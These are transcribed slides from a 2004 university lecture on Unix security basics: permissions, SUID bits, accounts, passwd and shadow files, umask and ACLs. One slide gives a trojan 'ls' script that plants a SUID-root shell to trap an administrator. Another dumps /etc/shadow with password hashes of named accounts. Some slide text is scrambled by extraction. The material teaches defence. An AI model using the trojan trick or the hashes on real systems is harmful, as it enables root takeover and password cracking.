UNIX

Transcript UNIX

Lecture 4: Unix Security Basics

Asoc. Prof. Guntis Barzdins Asist. Girts Folkmanis University of Latvia Oct 8, 2004

Top UNIX Vulnerabilities

     U1 BIND Domain Name System U2 Remote Procedure Calls (RPC) U3 Apache Web Server U4 General UNIX Authentication Accounts with No Passwords or Weak Passwords U5 Clear Text Services      U6 Sendmail U7 Simple Network Management Protocol (SNMP) U8 Secure Shell (SSH) U9 Misconfiguration of Enterprise Services NIS/NFS U10 Open Secure Sockets Layer (SSL) Source: http://www.sans.org/top20/#threats

Favourite TCP Ports

         

20 FTP (data) 21 FTP (control) 23 Telnet 25 SMTP (mail) 70 Gopher 79 Finger 80 HTTP also 8000 or 8001 or 8080 110 Pop3 119 NNTP (news) 143 Imap

              

7-19 echo, discard, daytime, chargen, netstat 22 SSH 42 wins 53 dns 111 sun rpc 113 identd 123 ntp 135 loc-srv/epmap – used to attack wintel 137-139 netbios 161 snmp 512-517 rexec, rlogin, rsh, talk, syslog, who 635 mountd – Linux 2049 nfs 6670 Deepthroat 31337 BackOrifice

No system is perfectly secure, but still we need security



A number of toolkits exist that allow total amateurs to become holy terrors.



The good news is that if you can beat the popular intrusion toolkits, 90 percent of the bad guys will go bother somebody else who's less secure.

Protection

 Operating system consists of a collection of objects, hardware or software  Each object has a unique name and can be accessed through a well-defined set of operations.

 Protection problem - ensure that each object is accessed through correct set of operations and only by those processes that are allowed to do so.

UNIX Security Basics

         Permissions UID GID Superuser SUID, SGID Sticky bit Umask Filesystem restrictions Advanced: Systrace, Veriexec, iptables, etc.

Domain Implementation in UNIX

  Two domain groups  User  Superuser (can do everything, UID=0) User domain group   Domain = user-id (UID) Domain switch accomplished via file system.  Each file has associated with it a domain bit (setuid bit = SUID bit).

 When file is executed and setuid = on, then effective user-id is set to owner of the file being executed. When execution completes user-id is reset ( exit() for child process ).

Subjects and Objects

 Each subject (process) and object (file, socket, etc) has a 16-bit UID.  Each object also has a 16-bit GID and each subject has one or more GIDs.

 Objects have access control lists that specify read, write, and execute permissions for user, group, and world.

 Super-users (uid=0 root) can do anything.

Subjects and Objects

Objects = files (regular and devices /dev)

UID GID Others UID GID-main+ GID-list Others User permissions Group permissions Others permissions

inodes

 inodes contain a lot of information about a file          mode and type of file number of links to the file owner's UID owners GID number of bytes in file times (last accessed, modified, inode changed) physical disk addresses (direct and indirect blocks) number of blocks access information

Unix File System (UFS) Structure

ls -l

> ls -l foo -rw-rw--- 1 hollingd grads 13 Jan 10 23:05 foo permissions owner group size name time

File Time Attributes

 Time Attributes:  when the file was last changed  when the file was created*  when the file was last read (accessed)

ls -l ls -lc ls -ul

* actually it’s the time the file status in the directory last changed (e.g. file renamed).

Types of Files

 Regular Files  binary   GIF, JPEG, Executable etc.

text   scripts, program source code, documentation Supports sequential and random access

Types of Files (cont.)

  Directory  Can contain ANY kind of files . (Dot) The special name for the current directory.

(Dot) (Dot) The special name for the directory above the current directory.

Device File   Allows programs to communicate with hardware. Kernel modules handle device management.

Types of Files (cont.)

 Device Files (cont.)  Character Device  Accepts a stream of characters, without regard to any block structure.   It is not addressable, therefore no seek operation Block Device  Information stored in fixed-sized block  It is addressable, therefore seek operation is possible.

Types of Files (cont.)

 UNIX Domain Sockets (BSD)   sockets that are local to a particular host and are referenced through a file system object rather than a network port.

X windows  Named Pipe  Allow processes to communicate with each other.

Types of Files (cont.)

  Hard links  Linking files by reference   System maintains a count of the number of links Does not work across file systems.

Soft links    Linking files by name No counter is maintained Work across file system

From “man ln”

 There are two concepts of `link' in Unix, usually called hard link and soft link  A hard link is just a name for a file. (And a file can have several names. It is deleted from disk only when the last name is removed. The number of names is given by ls(1). There is no such thing as an `original' name: all names have the same status.  A soft link (or symbolic link, or symlink) is an entirely different animal: it is a small special file that contains a pathname.

Creating a Link

 Create a link directory by typing the following command from your home directory: soft link % ln -s /home/faculty/ostic/prof myprof  You only need to create this link once. It will appear as a subdirectory in your home directory structure every time you log on to the system.

Disk vs. Filesystem

 The entire hierarchy can actually include many disk drives.

 some directories can be on other computers

/ bin etc users tmp usr hollid2 scully

Disk mount options

 Override individual file permissions  A major security tool in Unix

File permissions

File type - : plain file d : directory c : character device (tty, printer) b : block device (disk, CD-ROM) Access granted to l : symbolic link s : socket others =, p : FIFO

-rwxr--r--

Access granted to owner r : read / w : write / x : execute Access granted to group member

Permissions for Files

   If you have read permission for a file, you can view its contents.

If you have write permission for a file, you can alter its contents.

If you have execute permission for a file, you can run the file as a program.

Permissions for Directories

   If you have read permission for a directory, you can list the contents of the directory.

If you have write permission for a directory, you can create or remove files or directories inside that directory.

If you have execute permission for a directory, you can change to this directory using the cd command, or use it as part of a pathname.

SUID/SGID/sticky bits

   SUID (set uid)  Processes are granted access to system resources based on user who owns the file.

SGID (set gid)  (For file) Same with SUID except group is affected.

 (For directory) Files created in that directory will have their group set to the directory's group.

sticky bit  If set on a directory, then a user may only delete files that he owns or for which he has explicit write permission granted, even when he has write access to the directory. (e.g. /tmp )

File Permissions

 File Permissions (ex: rw-r--r--)   owner: rw-, group: r--, others: r- r: read, w: write, x: execute  When a process executes, it has four values related to file permission    a real user ID, an effective user ID a real group ID, an effective group ID When you login, your login shell process ’ values are your user ID and group ID

Effective User and Group ID

 A process ’    effective user ID depends on who executes the process, not who owns the executable E.g., if you run effective user ID is your ID, not root; then how can it update passwd (owned by root), the /etc/passwd file owned by root ?

Two special file permissions   set user ID and set group ID When an executable with executed, the process ’ set user ID permission is effective user ID becomes that of executable; the real user ID is unaffected  File permission of /bin/passwd is r-sr-sr-x

Real uids

 The uid of the user who

started uid

the program is used as its

real

 The real uid affects what the program can do (e.g. create, delete files).

 For example, the uid of /usr/bin/vi  is root : $ ls -alt /usr/bin/vi lrwxrwxrwx 1 root root 20 Apr 13...

 But when I use vi , its

real uid

edit my files.

is dkl (not root ), so I can only

Effective uids

 Programs can change to use the

effective uid

  the uid of the program

owner

e.g. the passwd program changes to use its effective uid ( root ) so that it can edit the /etc/passwd file  SUID bit enables this functionality

Real and Effective Group-ids

 There are also real and effective group-ids.

 Usually a program uses the

real group-id

(i.e. the

group-id of the user

  Sometimes useful to use

effective group-id

(i.e. group-id of program

owner

):  e.g. software shared across teams SGID bit enables this functionality

Sample SETUID Scenario

          /dev/lp is owned by root with protection rw------  This is used to access the printer /bin/lp is owned by root with rwsr-xr-x (with SETUID=1) User A issues a print command Shell (running with A’s UID and GID) interprets the command and forks off a child process, say, P Process P has the same UID/GID as user A Child process P executes exec(“/bin/lp”,…) Now P’s domain changes to root’s UID Consequently, /dev/lp can be accessed to print When /bin/lp terminates so does P Parent shell never got the access to /dev/lp

File system tips

  Turning off SUID / SGID in mounted file system  use nosuid (and nodev if possible) when mounting remote file system or allowing users to mount floppies or CD-ROMs Finding SUID and SGID Files   # find / $ -local -o -prune $ $ -perm -004000 -o -perm -002000 $ -type f -print ( xdev can be used in place of local/prune)

Unix Accounts and the Filesystem

Unix Accounts

 To access a Unix system you need to have an account.

 Unix account includes:  username and password    userid and groupid home directory shell

Creating user accounts

 useradd or adduser scripts  manually  edit /etc/passwd, etc/shadow, etc/group    remember to lock these files while editing - vipw run “passwd [user]” create home directory  chown, chgrp, chmod  copy defaults (e.g umod) from  /etc/skel  /etc/profile

username

 A username is (typically) a sequence of alphanumeric characters of length no more than 8.

 username the primary identifying attribute of your account.

 username is (usually) used as a part of email address  the name of your home directory is usually related to your username.

password

 a password is a secret string that only the user knows (not even the system knows!)  When you enter your password the system calculates a hash (one-way) function and compares it to a stored string.

 passwords are (usually) no less than 8 characters long.

 It's a good idea to include numbers and/or special characters (don't use an english word!)

userid

 a userid is a number (a 16-bit integer) that identifies a Unix account. Each userid is unique.

 It's easier (and more efficient) for the system to use a number than a string like the username.

 You don't need to know your userid!

Unix Groups and groupid

 Unix includes the notion of a "group" of users.

 A Unix group can share files and active processes.

 Each account is assigned a "primary" group.

 The groupid is a number that corresponds to this primary group.

 A single account can belong to many groups (but has only one primary group).

Home Directory

 A home directory is a place in the file system where the account files are stored.

 A directory is like a Windows folder (more on this later).

 Many unix commands and applications make use of the account home directory (as a place to look for customization files).

Shell

 A Shell is a unix program that provides an interactive session - a text-based user interface.

 When you log in to a Unix system the program you initially interact with is your shell.

 There are a number of popular shells that are available.

Popular Shells

sh ksh csh bash

Bourne Shell Korn Shell C Shell Bourne-Again Shell

Startup files

sh,ksh: /etc/profile (system defaults) ~/.profile

bash: ~/.bash_profile

~/.bashrc

~/.bash_logout

csh: ~/.cshrc

~/.login

~/.logout

Additional Password Security



Later versions of Unix have improved the security for password encryption as follows:

  

Passwords no longer restricted to 8 characters Use MD5 instead of DES; gives 128-bit output Use “salt”



Furthermore, the encrypted (hashed) password is removed from the /etc/passwd file and instead is placed in /etc/shadow



Restricted access to /etc/shadow – no requirement for it to be world readable; only readable by Root

 

Much more difficult to launch off-line (dictionary) attack /etc/shadow contains additional password information (number of days before expiry, etc)

passwd, shadow, group files

tikai “wheel” grupa

unix etc # ls -l passwd shadow group -rw-r--r- 1 root root 705 Sep 23 15:36 group -rw-r--r- 1 root root 1895 Sep 24 18:20 passwd -rw------ unix etc # 1 root root 634 Sep 24 18:22 shadow

var su uz root; skat /etc/pam.d/

unix root # more /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/adm:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt ...

guest:x:405:100:guest:/dev/null:/dev/null nobody:x:65534:65534:nobody:/:/bin/false girtsf:x:1000:100::/home/girtsf:/bin/bash dima:x:1001:100::/home/dima:/bin/bash guntis:x:1002:100::/home/guntis:/bin/bash students:x:1003:100::/home/students:/bin/bash unix root # unix root # more /etc/shadow root:$1$VlYbWsrd$GUs2cptio.rKlGHgAMBzr.:12684:0::::: halt:*:9797:0::::: ...

guest:*:9797:0::::: nobody:*:9797:0::::: girtsf:$1$u6UEWKT2$w5K28n2iAB2wNWtyPLycP1:12684:0:99999:7::: dima:$1$BQCdIBdV$xzzlj4s8XT6L9cLAmcoV50:12684:0:99999:7::: guntis:$1$fiJF/0BT$Py9JiQQL6icajjQVyMZ7//:12684:0:99999:7::: students:$1$wueon8yh$nLpUpNOKr8yTYaEnEK6OJ1:12685:0:99999:7::: unix root # unix root # more /etc/group root::0:root bin::1:root,bin,daemon daemon::2:root,bin,daemon sys::3:root,bin,adm adm::4:root,adm,daemon tty::5:girtsf disk::6:root,adm lp::7:lp mem::8: kmem::9: wheel::10:root,girtsf floppy::11:root mail::12:mail ...

users::100:games,girtsf nofiles:x:200: qmail:x:201: postfix:x:207: postdrop:x:208: smmsp:x:209:smmsp slocate::245: portage::250:portage utmp:x:406: nogroup::65533: nobody::65534: unix root #

Users and Ownership: /etc/passwd

 Every File is owned by one of the system’s users – the user-id (UID) identity is represented by  Password file assoicate UID with system users.

gates:x:65:20:B. Gates:/home/gates:/bin/ksh “real” name group ID user ID [encrypted password] login name command interpreter home directory

/etc/group

 Information about system groups faculty:x:23:maria,eileen,dkl group name list of group members group ID [encrypted group password]

Who is superuser ?

 UID of 0  Any username can be the superuser.

 Normal security checks and constraints are ignored for the superuser.

 Superuser is not for casual use.

 Do not login as superuser, use ‘/bin/su’ with “ ” option instead.

Simple trap to steal superuser

  Premise  Root’s PATH starts with “.” Contents of shell script ‘ls’ #!/bin/sh cp /bin/sh ./junk/.ss

chmod 4555 ./junk/.ss

rm – f $0 exec /bin/ls ${1+”$@”}   Set a trap % cd % chmod 700 .

% touch ./-f To do is just say to administrator. “I have a funny file in my directory I can’t seem to delete.”

Good root practice

unix root # which ls /bin/ls unix root # ls -al `which ls` -rwxr-xr-x 1 root root 79360 Jul 18 08:03 /bin/ls unix root # Do not start root PATH with “.”

Logging In

 To log in to a Unix machine you can either:   sit at the console (the computer itself) access via the net (using telnet, rsh, ssh, kermit, or some other remote access client).

 The system prompts you for your username and password.

 Usernames and passwords are case sensitive!

Session Startup

 Once you log in, your shell will be started and it will display a prompt.

 When the shell is started it looks in your home directory for some customization files.

 You can change the shell prompt and a bunch of other things by creating customization files (umask etc.)

Your Home Directory

  Every Unix process* has a notion of the “current working directory”.

You shell (which is a process) starts with the current working directory set to your home directory.

* A process is an instance of a

program

that is currently running.

Interacting with the Shell

 The shell prints a prompt and waits for you to type in a command.

 The shell can deal with a couple of types of commands:   shell internals - commands that the shell handles directly.

External programs - the shell runs a program for you.

File Types In Unix

All Files Text: Readable characters Documents, etc.

Source: Readable Programs Shell scripts: Interpreted by shell Programming Language: Interpreted or Compiled Executable Files Directories Compiler Binary: Uses all characters Machine Code: Directly executed

to new files

umask: Calculations (2)

 If you want a file permission of 644 (by default, without manually executing chmod) on a regular file, the umask would need to be 022 .

Default Mode umask 666 -022 New File Mode 644  Bit level: new_mask = mode & ~umask

umask = 000010010 = ---rw-rw = 0022 ~umask = 111101101 mode = 110110110 = rw-rw-rw = 0666 new_mask = 111100100 = rw------ = 0600

Advanced: Capabilities

For the purpose of performing permission checks, traditional Unix implementations distinguish two categories of processes: privi leged processes (whose effective user ID is 0, referred to as superuser or root), and unprivileged processes (whose effective UID is non-zero). Privileged processes bypass all kernel permis sion checks, while unprivileged processes are subject to full per mission checking based on the process's credentials (usually: effective UID, effective GID, and supplementary group list).

Starting with kernel 2.2, Linux provides an (as yet incomplete) system of capabilities, which divide the privileges traditionally associated with superuser into distinct units that can be indepen dently enabled and disabled.

Advanced: Access Control Lists

The permissions defined by ACLs are a superset of the permissions specified by the file permission bits. The permissions defined for the file owner correspond to the permissions of the ACL_USER_OBJ entry. The permissions defined for the file group correspond to the permissions of the ACL_GROUP_OBJ entry, if the ACL has no ACL_MASK entry. If the ACL has an ACL_MASK entry, then the permissions defined for the file group correspond to the permissions of the ACL_MASK entry. The permissions defined for the other class correspond to the permissions of the ACL_OTHER_OBJ entry.

Modification of the file permission bits results in the modification of the permissions in the associated ACL entries. Modification of the permissions in the ACL entries results in the modification of the file permission bits.

Example:

user::rw user:lisa:rw group::r- group:toolies:rw mask::r- other::r--

Advanced: TCP/IP Firewalls

Jautājumi

 Max unix faila varda garums  Pielaujamie simboli unix faila varda  Kas notiek, ja userim permicijas 0, bet vina grupai permicijas 1 ?

 Vai root var rediget failu ar visam permicijam 0? Vai ari tas vispirms janomaina?